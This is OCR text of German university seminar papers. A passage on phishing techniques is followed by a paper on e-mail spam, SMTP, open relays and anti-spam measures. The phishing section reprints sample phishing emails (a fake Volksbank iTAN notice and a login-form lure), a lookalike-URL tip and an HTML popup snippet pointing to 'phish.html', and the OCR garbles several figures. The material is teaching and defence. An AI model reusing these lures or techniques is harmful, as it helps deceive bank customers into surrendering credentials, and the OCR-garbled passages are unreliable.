Die Kodekarte ITAN unterscheidet sich von Threr Liste der TAN-Koden. In der Karte der iTaN-Xoden findan Sie die
Matrigabene mit 10 Spaften und mit 10 Reihen, Fuer die Operationan, die die Bestagtigung brauchen, muss man die
TaM-Kode aus der hestimmten Koordinate eintragen, die van der Volksbank angsfordert wird.

Wofuer ist s nostg

[he Untersuchung, die van dem Sicherheitsdienst der Volksbank durchgefushrt worden war, hat gezeigt; dass dis
Taballen der TAN-Koden kein sicheras Mittel fuer den Schutz der KEonten von dem unbafugoan Zugnff sind, Dafuer wurde
die sicherere Form der Bestzetigung der Kunden ausgearbeitet

Whe ist 25 ru bestallen

Fuer die Bastellung emer karte muss man persoanhich lhre Agentur der Volksbank besuchen und sin Bestellungsformular
ausfuallen, Wenn Sie persoenlich die Agentur nicht besuchen koennen oder wollen, koennen Sie die Bestellung auch
online machan, e Volksbank hat emen speziellen Portal fuer die Bestellungen gemacht:

Volks Bank iTaN card

Wie kann man die ITaN-Karts durch den Partal bestallen

MNachdem Sie die geschluesseite Zone der Seite betreten, brauchen Sie eine E-Mall und einen Namen einzutragan, an
denen die Mitteilung ueber den Sendungszustand kommt, Das koennte sowohl Thre E-Mail als auch dia E-Mail von Threr
vartrauten Perzon sain. Sie brauchen keine Adresse enzutragen, die iITAN-Karts kommt an Thre angemeldete Adressze,
Fuer die Cperationbestastigung brauchen Sie, wie immar, aing unbenutzte Kode TAN sinzutragen, Vergessen Sie bitte
nicht Ihre korrekts E-Mall Adresse ainzutragen, da unser Sarvicedienst dis Bestastgung und die Prusfung der
Bestellungen per E-Mail macht.

wenn Sie Fragen haben

Viele unsere Kunden haben gesagt, dass Sie auf die Antwort zu ihren Fragen per Telefon sehr lange warten sollen. Da
unzere Telefonverbindung stark besetzt ist, dauert sin Anruf durchechnitthich 40 Minuten. Um alle [hre Fragen zu
beantworten, die mit der Einfuehrning der Kodekarten TAN verbunden sind, haban wir einen spezigllen Auskunftdianst
rund um die Unr arganisiert: Besuchen Sia unseren Portal, tragen Sie Ihre E-Ma:il auf der Bastallungsform der Karte ain,
wnd unser Dienst kontaktiert mit thnen.,

Mit freundiichen Gruessarn,
Helmuk Gawhl,

Vertreter der Volksbank

& 2007 Volksbanken Raiffeisenbanken

Abbildung 5: Eine Phishing Email [Quelle Volksbank Staufen eG]

trauen zu gewinnen sollte noch ein paar Logos von der originalen Webseite eingebettet
werden, und der URL zur geféilschten Seite soll moglichst &hnlich wie die zur original
Seite sein sodass man nicht sofort merken kann dass sie anders sind. Zum Beispiel:
Original: http://www.securitybank.com/bank/cgi/show?id=45

Gefilscht: http://www.securitybank.net/bank/service/show?prameters=1

e Forwarding: ist eine Phishing-Technik, die mit eine Email die private Daten holt und
fithrt die Opfers danach zu der echte Webseite. Dieser Phishing-Stil ist populédr mit
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eBay, Paypal, Amazon...die oft ihre Kunden Emails schreibt um ihnen Vorteile sowie
neue Dienste mitzuteilen. Mit dieser Technik, werden das Login-Feld (oder bestimmte
Eingabenfeld) in die Email eingebetet. Wenn Opfers ihre Daten eintippen und Sub-
mit klicken, werden sie zur echten Seite gefiihrt, aber ihre Daten werden zu Phishers
versendet. Solche Emails sehen ungefdhr wie die von untern aus: Das Login-Script ist

& [DCC 5PAM] Accoumt Yerilication Requested

J'Eiss- Edit %ew Took  [lessage  Hep

¢ ® 5 - X ©Q ©Q | W
Reply  Repydt Foward | Pie  Doele | Freveuws Mok | Addresse
From:  fraud-prokschipbank, sseuresdince st
Dater  Thersday, Hardh 21, 2005 1201 #
To: it _tests eouskstishes net )
Subjeck [ SPAN] Account Nerificabion Requested

FIRST BANK OF PHISHING

Dear BoP Customer,
Tn arder ta continue delivarng excellert barking ssrices, we reauire you ta fog irto your aceaent te varify your aceaunt imformation

Flease [ogin to the authantication form below, then select the .account information, meny to venfy that you account information is comact
and up o0 date. Faiure to lag n within tha next 24 hours wil resuit in temporary account termination,

Usernamna: e
Faszword: il'll

Thznk wou for your casperation in this matter,
Steven Cradis

Bark of Phishing

Fraud [myastigatons Soup

%% Thiz iz an automated message, please do not reply #**

Abbildung 6: Phishing Forwarding Technik Email [StJCO05]

eigentlich dhnlich wie das von Impersonation Script, anders nur nach dem Versenden der
Opfer-Daten zu Phisher, fithrt das Login-Script zu der echten Webseite. Opfer werden
leichter mit dieser Technik betrogen, da die gefélschte URL nicht angezeigt wird. Es ist
schwierige zu entdecken dass die HTML-Email von einer anderen Webseite kommt.

e Popup Angriff: ist eine Technik, indem wird ein Popup-Fenster fiir Phishing-Server
geoffnet wihrend der Umleitung der Opfers zu der echten Webseite. HTML-Code fiir
das Popup-Fenster wird leicht wie unten gemacht:

<BODY bgColor=#ffffff

onload="window.open(’phish.html’, ’popup’, ’top=150,left=250,
width=250, height=200, toolbar=no,location=no,scrollbars=no,
resizable=yes’)"></B0ODY>



30 Xuan Khanh Le: Web Hacking, XSS and SQL Injection

CiSeeare Scienoe Dorporation: BadighE Frood Prevention - Mol el
Sl EoC Wew  Gp Bodmaks Jodk  Hel

C\'; x Il:,§ X ;@ [fi’f‘d @ |-j http:ffaant securestience netjbarky
B cettng sated E_;‘.l-l.:a_ta#i-ie.adﬂles

FIRST BANK OF EEEIETer ol

*ﬁ Vertfy Vomr Aceount

k ViewYour Accounts Teemame l— prce Corporation’s Daylight Frau
M se? Lear more | Enoll Eacewerd |

Usermame: fer. Dowiload this entive Site in & Zip

Passanrd | -

! B

Eomet your B e S

= Wjew the Daylight Fraud Prevention lags
& Marage Daylight

Abow Seoure Soipnce | Regon Email Pl
5 005 Securs Science Corporation, A1 pghts rezered
Cordfidentid ard Fropristary Information. FOLL Exernpt
Fatent Pendivy Daylight Technology

Abbildung 7: Phishing Popup Technik[PEx]

Wenn Opfer den Link in der Email folgen, wird die gefélschte Seite sofort zu der echten
Seite umgeleitet, und 6ffnet ein Popup-Fester mit Eingabefeldern, in die, alle eingetippte
Eingaben werden zur Phisher verschickt. Diese Technik ist heute aber selten zu sehen,
da Popup Blocker in den meisten Browsern verwendet sind.

4.3 Schutz

Da die Phishing-Emails immer HTML-Darstellung und beim Forwarding-Technik noch Script
enthalten, durch Ausschalten von HTML-Darstellung sowie Script des Email-Programms wer-
den die gefilschte HTML, Linken und Scripte deaktiviert. Alle Emails werden dann nur mit
reinem Text angezeigt um sich damit vor Phishing schiitzen zu kénnen.

Benutzen ein Phishing-Schutz-System, das Email-Header mit aktuellste Scharzliste der Phis-
her vergleicht und die Links, ob sie wirklich wie die angezeigt werden, priift.

Offnen Sie nie die von unbekannter Quelle verschickte Emails. Installieren Sie ein Anti-Spam
System um moglichst Spams auszufiltern.

5 Zusammenfassung

Zusammenfassend kann gesagt werden, dass Web-Anwendungen jederzeit Sicherheitsliicken in
sich enthalten kénnen, die oft von Hackern ausgenutzt werden. In dieser Seminararbeit wurden
XSS, SQL-Injection und Phishing als die drei Hacktechniken detailliert untersucht. Jeder, der
solche Schwachstellen in seinem System hat, muss damit rechnen, dass diese Schwachstellen
auch bei ihm entdeckt und ausgenutzt werden.

In den meisten Féllen, miissen Sie ein Trade-Off zwischen Sicherheit und Komfort machen.
Mehr Sicherheit geht oft mit einem wenigeren Komfort einher und umgekehrt.
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Spam

David Forster

Mit der rapiden Verbreitung des Internets und der intensiven Benutzung von E-
Mail im geschiiftlichen und privaten Bereich ist auch der Versand von unerwiinsch-
ten Massen-E-Mails, allgemein bekannt als Spam, zu einem massiven Problem ge-
worden. Diese Seminararbeit zeigt auf, welche grundlegenden Eigenschaften des
E-Mail-Systems den Versand von Spam erst ermoglichen und wie Versender dabei
vorgehen. Weiterhin werden verschiedene Verfahren dargestellt, um den Versand
von Spamnachrichten zu unterbinden und Anstrengungen erldutert die Probleme
des gegenwirtigen E-Mail-Systems zu beheben.

1 Uber Spam

1.1 Definition

Die verbreitetste internationale Bezeichnung fiir Spam ist ,,Unsolicited Bulk E-Mail* (UBE) —
zu deutsch unerwiinschte bzw. nicht angeforderte Massen-E-Mails. Neben E-Mail-Spam gibt
es auch Spam in anderen Medien wie Instant-Messaging-Systemen, Kommentarspam in Gés-
tebiichern und Weblogs und Telefonspam durch automatisierte Anrufe mit Tonbandansagen.
Diese Arbeit konzentriert sich ausschliefilich auf E-Mail-Spam im Sinne von UBE.

Der Begriff Spam leitet sich urspriinglich von dem Dosenfleischprodukt SPAM , Spiced Pork
And Meat/Ham* der Hormel Foods Corporation ab. Das seit 1936 erhéltliche Produkt wurde
1970 in einem Sketch der englischen Comedyserie ,,Monty Pythons’s Flying Circus“ aufgegrif-
fen, in dem es als Teil jedes Gerichts auf einer Speisekarte auftaucht und am Ende lautstark
von einer Gruppe singender Wikinger vertreten wird. [Merr04], [Pyth70] Das Wort taucht in
dem Sketch mehr als 132 Mal auf, was den Zusammenhang mit E-Mail-Spam erklart.

1.2 Einleitung

Wiéhrend Spamnachrichten vor einigen Jahren lediglich listig waren, ist eine Benutzung des
Mediums E-Mail heute praktisch nicht mehr méglich ohne massive Anti-Spam-Mafinahmen
zu treffen.

Obwohl das Problem unerwiinschter E-Mail-Nachrichten bereits 1975 von Postel [Post75] und
1982 von Denning [Denn82| erkannt wurde, spielte es in der Praxis damals noch keine Rolle.
Der Versand von Nachrichten an tausende von Newsgroups am 12.4.1994, die eine GreenCard-
Lotterie bewarben, war das erste grofle Auftreten kommerzieller Spamnachrichten [Camp94].
1997 wurde das Spamproblem auch auf offizieller Seite erkannt: Die US-amerikanische Han-
delskommission befasste sich damit und stellte eine Arbeitsgruppe zur Bekdmpfung zusam-
men [Comm97]. In den vergangenen Jahren ist der Versand von Spam stark angestiegen und
betrug Ende 2005 ca. 80-85% des E-Mail-Aufkommens [Grou96].
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Abbildung 1: SPAM — Dosenfleisch

Trotz grofler Fortschritte bei der Spambekdmpfung hat sich folgende Aussage von Bill Gates
leider nicht bestétigt:

SJwo years from mnow, spam will be solved. I promise a spam-free world by 2006“
(Microsoft Vorstandsvorsitzender Bill Gates; Jan., 2004)

1.3 Typen

Spamnachrichten kénnen in verschiedene Kategorien eingeteilt werden. [Lab06], [Mars

e Spam fiir Erwachsene“, wie Werbung fiir potenzsteigernde Mittel, pornographische
Angebote oder Partnervermittlungen

e Finanzielle Angebote, wie Kredite, Werbung fiir Aktien zur Beeinflussung des Kurses
oder angebliche Gewinne in Lotterien

e Gefilschte Nachrichten, die darauf zielen Authentifizierungsdaten fiir Onlinedienste zu
ergattern. (Phishing, siehe anderer Seminarbeitrag)

Mit dem Aufkommen von Spamfiltern versuchen die Versender den eigentlichen Inhalt der
Nachrichten zu verschleiern. Das reicht von einfachen Textverinderungen wie ,V14gra* oder
»\/|4grA“ bis hin zum Versand von Bildern, PDF- und Audiodateien, da diese schwerer zu
analysieren sind.

Bounces (siehe Abschnitt(2.5) sind an sich keine Spamnachrichten, treten aber als Konsequenz
von nicht zustellbaren Nachrichten mit gefélschten Absenderangaben auf. Diese Information
iiber die fehlgeschlagene Zustellung an den vermeintlichen Absender ist heutzutage manchmal
ldstiger als der Spam selbst, da es kaum Gegenmafinahmen gibt.

1.4 Schaden

Die grofle Menge an Spam, die heutzutage versandt wird, verursacht zusétzlichen Netzwerk-
verkehr, Rechenaufwand, Speicherbedarf und Arbeitszeit, sowohl von E-Mailbenutzern als
auch Administratoren.

Tabelle |1 zeigt an Hand einer Beispielrechnung, welcher enorme Schaden durch Spam verur-
sacht wird und wie wenig Empfianger auf eine Spamnachricht reagieren miissen, damit der
Versender einen Gewinn erzielt.
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Spammer Spam- Empfinger-Kosten (ohne Fil-
Auftraggeber ter)
1.000.000 Spams ver- | Kosten: 100 | - 140.000 EUR (nur Arbeits-
senden bzw. empfan- | EUR zeit, bei 10 s Bearbeitungs-
gen zeit pro Spam-E-Mail und 50
EUR Arbeitskosten pro Stun-
de)
Lesen von 1,00% der | - - 8.000 EUR (nur Arbeitszeit,
Spams bei weiteren 60 s fiir Lesen +
WWW)
Kundengewinnung - - 400 EUR (nur Arbeitszeit, bei
durch 0,01 % der weiteren 300 s fiir die Bestel-
Spams lung)
Umsatz  bei 100 | Einnahmen: 5.000 - 1.500 | Ausgaben: 5.000 EUR fiir ein
erfolgreichen Spams | 1.500 EUR (30 | EUR Provision | oft illegales oder nutzloses
und 50 EUR pro | % Provision) an den Spam- | Produkt
Bestellung mer
Ergebnis 1.400 EUR 3.500 EUR 153.400 EUR, Schaden

Tabelle 1: Spammer-Profit versus betriebswirtschaftlicher und persoénlicher Schaden bei den
Empfiingern (Beispielrechnung) [TEHR™05]

1.5 Herkunft

Laut einer Statistik des Spamhaus-Projekts [Proj07] wird der meiste Spam aus den USA
verschickt. Tabelle|2 zeigt die Anzahl der erfassten spamversendenden Server gruppiert nach
Léndern. Nach den USA folgen China, Russland, Grofibritannien und auf Platz fiinf Deutsch-
land.

Land Anzahl der erfassten Server
1 United States 1984
2 | China 447
3 Russia 259
4 | United Kingdom | 223
5 | Germany 187
6 | South Korea 186
7 | Japan 167
8 | Canada 146
9 France 140
10 | Italy 131

Tabelle 2: Spamversendende Server, gruppiert nach Landern [Proj07

2 Funktionsweise des E-Mailsystems

Der Versand von Spam héngt eng mit der Funktionsweise des E-Mail-Systems zusammen.
Dieses wird im Folgenden erlédutert.
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2.1 SMTP

Das gegenwértige E-Mail-System basiert auf dem SMTP-Standard, der 1982 spezifiziert
[Post82] und 2001 durch ESMTP aktualisiert [Klen01] wurde. Er ist wie das Internet selbst
dezentral konzipiert und spezifiziert die Ubermittlung von E-Mail-Nachrichten von einem Ser-
ver zum anderen. Der zustédndige Dienst auf dem Server wird als Mail-Transfer-Agent (MTA)
bezeichnet und ist fiir die Annahme und Weiterverarbeitung der Nachrichten zusténdig. Er-
hélt er eine Nachricht, die an einen Empfinger innerhalb der eigenen Domain gerichtet ist,
legt er sie im Postfach des entsprechenden Benutzers ab. Ansonsten sendet er sie per SMTP
an den zustdndigen E-Mail-Server, den er iiber das DNS ermitteltet. Listing 1] zeigt eine
Nachrichteniibermittlung per SMTP.

Listing 1: SMTP-Dialog

220 somehost.net ESMTP Exim 4.63 #1 Mon, 26 Nov 2007 23:10:21 40100
HELO anotherhost.net

250 somehost.net Hello localhost [127.0.0.1]

MAIL FROM: Bill <bill@microsoft .com>

250 OK

RCPT TO: richard@somehost . net
250 Accepted

RCPT TO: eric@Qsomehost . net

250 Accepted

DATA

354 Enter message, ending with
From: Steve <steve@microsoft .com>
To: richard@somehost . net

Subject: Linux violates our IP

”» N

on a line by itself

Hello ,
nothing unusual to say.

250 OK id=1IwmAg—0008ED-LA
QUIT
221 somehost.net closing connection

2.2 Versand

In der Anfangszeit des Internets wurden E-Mails zum Versand einfach an den lokalen MTA
iibergeben, der zur Standardausstattung der damals verbreiteten UNIX-Systeme gehorte.
Heutzutage iibermittelt der E-Mail-Client (auch Mail-User-Agent, MUA) ausgehende E-
Mails iiblicherweise an den E-Mail-Server des Providers, der dann den weiteren Versand
vornimmt. Dabei wird ebenfalls das SMTP-Protokoll benutzt, allerdings in der erweiterten
Version ESMTP, die eine Kennwortauthentifizierung ermoéglicht. Durch diese Benutzung des
SMTP-Protokolls fiir zwei verschiedene Anwendungen — Nachrichteniibermittlung durch den
Endbenutzer (,Submission®) und E-Mailiibertragung zwischen MTAs (,, Transfer”) —wird die
Konfiguration der MTAs kompliziert und fehleranfillig. Deshalb gibt es mit der Message
Submission Spezifikation [GeKI198] einen Vorschlag, die Nachrichteniibermittlung durch den
Endbenutzer durch die Verwendung eines anderen TCP-Ports und einige Protokollerweite-
rungen zu trennen.
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2.3 Relaying

Relaying bezeichnet die Annahme und Weiteriibermittlung von Nachrichten per SMTP.

Frither war es iiblich, dass MTAs beliebige Nachrichten annahmen, und sie gegebenenfalls
weiteriibermittelten. Diese Konfiguration wird als Offenes Relay bezeichnet. Wie spéter noch
ausgefiithrt wird, begiinstigt das den Versand von Spam, so dass diese Praxis weitestgehend
aufgegeben wurde. Heutzutage nehmen MTAs iiblicherweise nur E-Mails an, die an die eigene
Domain gerichtet sind, es sei denn, der Sender authentifiziert sich mit einem Kennwort. (siehe
Abschnitt 2.2, Versand)

e ______SMTP______________ >
Smy -
7~ -
£ §¥1\sz” Host 3
I
v C o
T S
W <
S Host 1 /%4,0

Bertha

Abbildung 2: Struktur des E-Mail-Systems

Abbildung [2 zeigt, auf welchen verschiedenen Wegen eine E-Mail vom Sender Alfred zur
Empfingerin Bertha gelangen kann. Die durchgezogenen Pfeile (Alfred — Host 2 — Host 1
— Bertha) markieren den iiblichen Weg: Host 2 ist der E-Mail-Server von Alfreds E-Mail-
Provider, bei dem er sich mit einem Passwort authentifiziert, und Host 1 der E-Mail-Server
von Berthas Provider, der die Nachricht an sie annimmt und sie speichert bis sie sie abruft!.
Andere Moglichkeiten sind, dass Alfreds E-Mail-Client (MUA) die Nachricht direkt an Berthas
E-Mail-Server Host 2 schickt (gepunktete Linie) oder dass Alfreds Server Host 1 die Nachricht
an eine weiteren Server Host 3 schickt, der die Nachricht dann an Berthas Server Host 2
iibermittelt (gestrichelte Linie).

Die Ubermittlung von Nachrichten an dritte Server spielt eine Rolle bei der Ausfallsicher-
heit. Ist ein E-Mail-Server nicht erreichbar, kann die Nachricht an einen ,Mail Exchanger*
(MX, angegeben im DNS) iibergeben werden, der sie zwischenspeichert und zustellt wenn der
zustédndige Server wieder verfiighar ist.

2.4 Authentizitat von Nachrichten

Eine E-Mail ist technisch gesehen nur ein Textstiick, bestehend aus einem Kopfteil (Hea-
der) und einem Nachrichtenteil (Body). Der Kopf enthilt Metainformationen wie Sender,
Empfinger, Sendezeit und Betreff, der Nachrichtenteil die Nachricht selbstE. (Beispiel einer

'Der Abruf von E-Mails erfolgt iiber die Protokolle POP 3 oder IMAP und wird in dieser Arbeit nicht weiter
behandelt.

“Der Nachrichtenteil enthilt iiblicherweise nur Text. Anhinge und formatierte Nachrichten (HTML) werden
nach dem MIME-Standard kodiert.
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E-Mail siehe Listing |1 im DATA-Abschnitt.) Allerdings dient der Kopfteil lediglich als Zu-
satzinformation fiir den Empfinger. Beim Versand iiber das SMTP-Protokoll werden Sender
und Empfinger explizit angegeben. Diese Angaben werden als Umschlagangaben (Envelope-
Angaben) bezeichnet und sind fiir den Empfiinger der Nachricht nicht sichtbar. Sie kénnen
sich von den Angaben im Nachrichtenkopf unterscheiden. (siehe auch Listing|1) So enthalten
die Umschlagangaben alle E-Mail-Adressen, an die die Nachricht tatséchlich gesendet wird. In
den Kopfangaben dagegen kénnen manche dieser Adressen im ,, To“-Feld (Empfinger), andere
im ,,CC*“Feld (Kopie) und weiter gar nicht (Blindkopie, BCC) angegeben sein.

Die Kopfangaben koénnen also beliebige Werte, insbesondere falsche Absenderadressen, ent-
halten. Auch die Umschlag-Angaben werden beim Versand im Allgemeinen nicht iiberpriift.
Insbesondere ist eine Verifikation der Absenderadresse durch den empfangenden Server nicht
moglich, da der SMTP-Standard nicht vorschreibt, welche Server E-Mails fiir eine Domain
versenden diirfen. (sieche Abschnitt 2.3, Relaying) Die Authentizitit von E-Mail-Nachrichten
wird also durch das E-Mail-System nicht gew&hrleistet.

2.5 Zustellungsfehler

Grundsétzlich gilt, dass ein MTA fiir eine Nachricht verantwortlich ist, wenn er sie ange-
nommen hat. Kann er eine Nachricht nicht weiter zustellen, sendet er einen Fehlerbericht
(Bounce) an den Sender zuriick, in dem die Griinde fiir die fehlgeschlagene Zustellung aufge-
fiithrt sind. Mogliche Griinde sind z.B., dass das Postfach auf dem Zielhost nicht existiert oder
voll ist. Handelt es sich um einen temporéiren Fehler, wie dass der Zielhost nicht erreichbar
ist, versucht er in linger werdenden Zeitabstédnden die Nachricht zuzustellen.

3 Ursachen

Im Folgenden werden verschieden Ursachen aufgezeigt, die den Versand von Spam begiinstigen
bzw. erst ermoglichen.

3.1 Geringe Versandkosten

Die Versandkosten fiir Spam sind sehr gering, da lediglich ein Computer mit Internetanschluss
notig ist. Das macht den Versand von Spamnachrichten erst attraktiv, da auf Grund der nied-
rigen Versandkosten nur ein sehr geringer Anteil der Empfinger auf die Nachricht reagieren
muss, damit ein Gewinn erzielt wird. (siehe Tabelle 1)

3.2 Offene Relays

Offene Relays (siehe Abschnitt [2.3] Relaying) erleichtern den Versand von Nachrichten in
grolen Mengen, da Spammer Nachrichten mit sehr vielen Empfinger nur einmal dort ablie-
fern miissen und das offene Relay dann den weiteren Versand iibernimmt. Dariiber hinaus
ermoglichen Offene Relays Spammern den Versand von Spamnachrichten, auch dann wenn
deren eigene Adressen bereits in Blacklisten (siehe Abschnitt 5.2.1, Blacklists) aufgenommen
wurden. Offene Relays konnen auch unfreiwillig durch eine fehlerhafte Konfiguration des MTA
entstehen.
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3.3 Zombierechner

Als Zombierechner werden Rechner von Internetbenutzern bezeichnet, die durch ein trojani-
sches Pferd unter fremde Kontrolle gebracht wurden und in groffen Massen sogenannte Bot-
netze bilden. (siehe anderer Seminarbeitrag). Diese werden oft ohne das Wissen der Besitzer
zum Spamversand missbraucht. Der Hersteller von Sicherheits-Software Symantec beobach-
tete iiber 5 Millionen mit einem Bot infizierte Rechner iiber einen Zeitraum von 6 Monaten.
Corp07] Neben dem direkten Versand von Nachrichten iiber SMTP, versuchen manche Tro-
janer auch, Zugangsdaten zum Server des E-Mail-Providers auszuspéhen und diesen, nach
Authentifizierung, zum Versand von Nachrichten zu benutzen.

3.4 Authentizitat nicht tiberpriifbar

Da die Authentizitéit einer Nachricht und die Korrektheit der Absenderangabe nicht ohne
weitere technische Mafinahmen, wie elektronische Signatur, iiberpriift werden kann, ist eine
Unterscheidung von Spam und reguléren Nachrichten nur schwer moglich. Dass Spam-E-Mails
von Hand aussortiert und geloscht werden miissen, ist die Hauptursache fiir die entstehenden
Kosten beim Empfianger (siche Tabelle 1).

3.5 Keine einheitliche Handhabe gegen Spammer

Auf Grund der Internationalitéit des Internets und der damit fehlenden einheitlichen Geset-
zesgrundlage, gibt es keine einheitliche Handhabe gegen Spammer. Wihrend manche Lénder
inzwischen Gesetze gegen den Spamversand eingefiihrt haben, gibt es in anderen noch keine
rechtliche Grundlage fiir die Verfolgung von Spammern. (siche Abschnitt 6, Gesetzeslage)

4 Versand

Da ein oder mehrere Server an Hand ihrer IP-Adresse immer ausfindig gemacht und von
Behorden vom Netz genommen werden konnen, erfolgt der Versand von Spam-Nachrichten
meistens iiber fremde Rechner. Waren das frither oft noch offene Relay, sind es heute fast
ausschlielich Botnetze, der Zusammenschluss vieler Zombierechner. (siehe Abschnitt 3, Ur-
sachen)

FEine weitere Art, wie Spam versandt wird, ist der Missbrauch von E-Mail-Formularen auf
Webseiten (E-Mail-Injection). Dabei versuchen Spammer zusétzliche Header einzuschleusen
und konnen damit im schlimmsten Fall E-Mails beliebigen Inhalts an beliebige Empfianger

schicken. |[Brau05

5 GegenmalBinahmen

Gegenmafinahmen kénnen in Mafinahmen, die innerhalb des bestehenden Systems ansetzen,
und Maflnahmen, die versuchen die Schwichen des E-Mail-Systems zu beheben, unterteilt
werden. Um eine Beeintrdchtigung des erwiinschten E-Mail-Verkehrs zu vermeiden, ist es
sinnvoll, die aufgefithrten Verfahren mit Whitelists von regelméfligen Kommunikationspart-
nern zu kombinieren, um Nachrichten von diesen von der Uberpriifung auszunehmen. Die
vorgestellen Verfahren werden hiufig auf dem E-Mail-Server eingesetzt, einige kénnen aber
auch im E-Mail-Client implementiert werden.
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5.1 Behandlung von Spam

Viele der folgenden Verfahren versuchen, Spamnachrichten von legitimen E-Mails zu unter-
scheiden. Dieser Abschnitt erldutert, welche Moglichkeiten zum Umgang mit als Spam klas-
sifizierten Nachrichten es gibt.

5.1.1 Abweisen

Als Spam klassifizierte Nachrichten abzuweisen hat den Vorteil, dass sie das E-Mail-System
und den Endbenutzer nicht weiter belasten. Der Nachteil ist, dass falsch klassifierte Nach-
richten den Empfinger nicht erreichen. Dabei gibt es zwei Vorgehensweisen:

e Annahme der Nachricht und spitere Verwerfung und Erzeugung einer Bounce-Nachricht
(siehe Abschnitt 2.5, Zustellungsfehler): Der Vorteil ist, dass es technisch einfacher zu
realisieren ist, die Nachricht erst anzunehmen und die Spamklassifizierung spéater durch-
zufithren. Da die Bounce-Nachrichten aber an die, in den meisten Féllen gefélschten,
Absenderadresse gesendet werden, fithrt dieses Verfahren zur massiven Beldstigung Un-
beteiligter und ist deshalb ungeeignet.

o Abweisen der Nachricht wihrend des SMTP-Dialogs (siehe Listing[2): Diese Methode
setzt eine Spamiiberpriifung noch wihrend der Ubermittlung durch den Sender voraus
und ist deshalb technisch anspruchsvoller. Das direkte Abweisen kann auflerdem dazu
fithren, dass die E-Mailadresse aus der Liste der Spammer gestrichen wird, da an sie
offensichtlich keine Nachrichten zugestellt werden konnen. Handelt es sich um eine le-
gitime Nachricht, erfahrt der Absender von dem Problem, da sendende MTA, dem die
Annahme verweigert wurde, eine Bounce-Nachricht erzeugt.

Listing 2: Abweisung einer Nachricht von einer Dial-Up-Adressen zur SMTP-Zeit

220 somehost.net ESMTP Exim 4.63 #1 Mon, 26 Nov 2007 22:56:08 —+0100
HELO anotherhost.com

250 somehost.net Hello e180068035.adsl.alicedsl.de [85.180.68.35]
MAIL FROM: Bill Gates <bill@microsoft .com>

250 OK

RCPT TO: david@somehost . net

550—We do not accept mail sent from 85.180.68.35 because it is
550—either a known spam source or a dialup address. Please use the
550—SMTP server offered by your internet provider to send email to
550 the internet .

QUIT

221 somehost.net closing connection

5.1.2 Loéschen

Das stille Loschen von Nachricht hat den selben Vorteil wie das Abweisen von Nachrichten.
Falls es sich aber um eine legitime Nachricht handelt, muss der Absender davon ausgehen, dass
die Nachricht erfolgreich zugestellt wurde, wihrend der Empfénger sie nie erhélt. Deshalb ist
das stille Loschen von Nachrichten in der Praxis nicht sinnvoll, zumal es, aufler der technisch
einfacheren Realisierung, keine Vorteile gegeniiber dem Abweisen zur SMTP-Zeit bietet.
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5.1.3 Markieren

Das verbreitetste Vorgehen ist, die fragliche Nachricht zu markieren und in einen eigenen
Spamordner zu verschieben, so dass der Empfinger die Klassifizierung iiberpriifen und die
Nachrichten danach 16schen kann. Das hat den Vorteil, dass falsch klassifizierte Nachrichten
trotzdem beim Empfinger ankommen. In der Praxis tritt aber das Problem auf, dass sehr
viele Spamnachrichten empfangen werden und der Anwender den Spamordner oft einfach leert
ohne die Nachrichten durchzusehen. Dann ist der Effekt der gleiche wie beim stillen Loschen,
also schlimmer als beim Abweisen von Nachrichten.

Oft werden mehrere Verfahren kombiniert. So kénnen Nachrichten bei einer Klassifizierungs-
methode, die wenig false-positives aufweist, direkt abgewiesen werden und bei weniger ein-
deutigen Verfahren nur markiert werden. Damit werden die Vorteile beider Vorgehensweisen
vereint.

5.2 MaBnahmen innerhalb des Systems

In diesem Abschnitt werden einige Anti-Spam-Mafinahmen vorgestellt, die innerhalb des be-
stehenden E-Mail-Systems eingesetzt werden kénnen.

5.2.1 Blacklists

Blacklists werden beim Empfang einer Nachricht nach der IP-Adresse des Senders durchsucht
bzw. abgefragt. Der hidufigste Typ sind Blacklists von Servern, die in der Vergangenheit Spam
versandt haben, oft offene Relays. Daneben gibt es Blacklists von Servern, die den SMTP-
Standard verletzen, und Listen von Dial-Up Adresse. Blacklists von spamversendenden
Servern werden hiufig benutzt, um Nachrichten von diesen Servern direkt abzuweisen. Das
wiederum iibt Druck auf Serverbetreiber aus, den Versand von Nachrichten iiber ihre Server
genau zu kontrollieren.

Die Benutzung von Blacklists ist sehr effektiv und weist im allgemeinen eine niedrige false-
positive Rate auf. Es gibt allerdings immer wieder Fille, in denen Betreiber von Blacklisten
iibers Ziel hinausschieflen. So sind seit August 05 alle .de Domains in die Liste des Betreibers
RFC-Ignorant.org gelistet.

Fintrédge in diese Blacklists konnen entweder von Hand oder automatisch erfolgen, zum Bei-
spiel durch Honeypots. (siehe anderer Seminarbeitrag)

5.2.2 Greylisting

Greylisting ist eine abgeschwéchte Form des Blacklistings. [V6lk04] Dabei wird eine E-Mail
von einem bisher unbekannten Absender beim ersten Zustellungsversuch abgewiesen und in
der Greylist zwischengespeichert, bei einem zweiten spéateren Versuch aber angenommen und
der Absender als bekannt gespeichert. Das Verfahren basiert darauf, dass der SMTP-Standard
vorsieht, eine E-Mail in immer linger werdenden Intervallen erneut zuzustellen wenn der
Zielhost einen temporiren Fehler meldet. Versender von Spamnachrichten sparen sich diesen
zweiten Versuch oft. Der Preis ist eine verspétete Zustellung der ersten Nachrichten eines
neuen Kommunikationspartners, aber das Verfahren ist sehr effektiv. Auf eigenen Servern
hat der Autor beobachtet, dass weniger als 1/3 der Nachrichten auf der Greylist erneut
angeliefert wurden. Ublicherweise wird das Verfahren mit einer Whitelist von E-Mail-Servern
von groflen Providern kombiniert, die sich nicht an SMTP-Standard halten oder bei den
Zustellungsversuchen wechselnde Server benutzen.

3 Adressen, die an Internetzuginge von Endbenutzern vergeben werden
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5.2.3 Hashlisten

Neben Blacklists gibt es auch Listen, die Hashwerte von Spamnachrichten selbst speichern.
Bei einer groflen Masse von Teilnehmern, die Spamnachrichten zur Aufnahme iibermitteln,
werden ,neue” Spamnachricht zeitnah tibermittelt und kénnen von E-Mail-Servern, die diese
Liste abfragen, entsprechend behandelt werden. Ein Beispiel ist das ,,Distributed Checksum
Clearinghouse® (DCC, [Soft]).

5.2.4 Spamfilter

Spamfilter klassifizieren Nachrichten auf Grund ihres Inhalts, oft an Hand einer Kombination
von Bewertungskriterien:

e Hiufig wird ein fester Regelkatalog eingesetzt, der gewichtete Kennzeichen enthélt, die
oft in Spamnachrichten auftreten, wie z.B. der tibermifiige Gebrauch von Grofibuch-
staben, ein hohes Verhéltnis von Bildern zu Text oder verschleierte Namen potenzstei-
gernder Mittel. Durch Kombination sehr vieler Regeln ist der Erkennungsquote recht
